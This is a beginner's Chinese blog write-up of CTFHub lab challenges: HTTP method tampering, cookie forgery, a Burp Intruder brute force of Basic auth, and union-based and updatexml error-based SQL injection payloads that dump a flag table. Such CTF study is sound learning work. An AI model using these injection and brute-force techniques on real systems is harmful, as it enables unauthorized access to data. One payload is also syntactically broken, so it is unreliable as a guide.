这篇文章主要是介绍我在解CTFHUB时候所学,随手记录一下。现在回头来看这篇文章,真的是再基础不过的题

ctfhub:https://www.ctfhub.com/

请求方式

这里考到了一个GET请求换的技巧 由于之前没经历过这么改,很懵逼 所以很尴尬的搜了一下,泪目了。

就是一个简单的数据包请求头修改,GET改为CTFHUB

放包即可拿flag

重定向

学到了新东西,重定向我没学过,所以这题我也不会,总的来说就是你需要找到重定向那个页面,然后用cmd进行访问,burpsuite抓包感觉也可以,但是没试过。

cookie伪造

救命,终于遇到我会的了,这个就是一个简单的bp抓包然后将cookie修改为admin 不过好像只要不是0就可以,还是比较简单的

然后bp抓波修改cookie不为0即可

身份认证

这一关可真是被bp的英文界面给卡住了,找不到编码,找不到payload的添加,乱七八糟的,还是bp用的太少了。直接进入正题。

直接是让我们登录,前面已经告诉我们名字是admin,并且给了我们一个字典,很典型的爆破,不多说。bp输入admin;admin抓包,看到那一串编码,结尾是=直接bsae64试试

这个工具还不错,网上找的。

哦吼,这不是我们输入的东西嘛,那思路就清晰了。直接intruder爆破,选上那个狙击手,忘了截图,反正就是那个选择一个字符串的那个,导入下载的字典,

加上这个 Add Prefix 意思是前面的字符,只爆破后面的 然后下一步,前面验证过了base64对用户民和密码进行编码,所以记得选上base64编码,哦对了 下面url记得关了,不然=会被转换成%3d

开始爆破就可以了,然后跑完字典看到有一行不一样的,打开看一下 flag出来了。

只能说菜的扣脚,继续加油。

相应包源代码

简单,直接右键查看元素,找到flag即可

ctfhub{a1f7112ef448d37ed080ec16}

sql注入

整数型

终于到了我多少会一点的题目了,整数型注入。

直接输入1,发现返回了

id:1
Dtata:ctfhub

这个也没办法看出来啥,不过他倒是将执行的sql语句显示出来了,很8错,看到了执行的是select id=1,那就没必要输入?id=啥乱七八糟的了。

1 order by 3
1 order by 2 -- by的时候报错,by2的时候正常,那么2个字段,构造语句喽,那么用联合查询语句就可以。
3 union select 1,database()--3是为了构造前方错误,后方就是爆破苦命,不多说

到这里库名已经爆破出来了

库名是sql 那么爆破一下表试一试

3 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
--哦吼,有个flag的表

那么flag表里面有啥我们不清楚,先爆破一下试试再说

3 union select 1,group_concat(flag) from flag

拿到噜,还是蛮简单的sql注入。

ctfhub{08d5b7f3e3110af88d1c804f}

字符型

字符型跟数字型类似我也不再赘述,只需要加几个符号。

例如

查库名

3' union select 1,database()#

从flag表中查flag

3' union select 1,group_concat(flag) from flag#

flag就出来了

ctfhub{b3b972b92e8c9ff800ef8e45}

报错注入

典型的报错注入,就正常报错就ok,前面查几个字段我就不查了,跟前面一样的方法。

直接爆库

3 and updatexml(1,concat(0x7e,database()),1)

爆破表名,通过更换limit 0,1 中的数字来进行遍历

3 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)

爆破列名

3 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag' limit 0,1)),1)

列里面只有一个flag列,那么就直接查这一个列就ok

查一手flag

3 and updatexml(1,concat(0x7e,select 1,2,group_concat(flag) from flag limit 0,1)),1)

这里出现了报错注入的的长度限制问题,不过这道题不是很影响,我会在另一篇文章中写到。

参考

https://blog.csdn.net/weixin_45254208/article/details/105118260

https://www.cnblogs.com/anweilx/p/12403991.html

https://blog.csdn.net/qq_45738111/article/details/105274088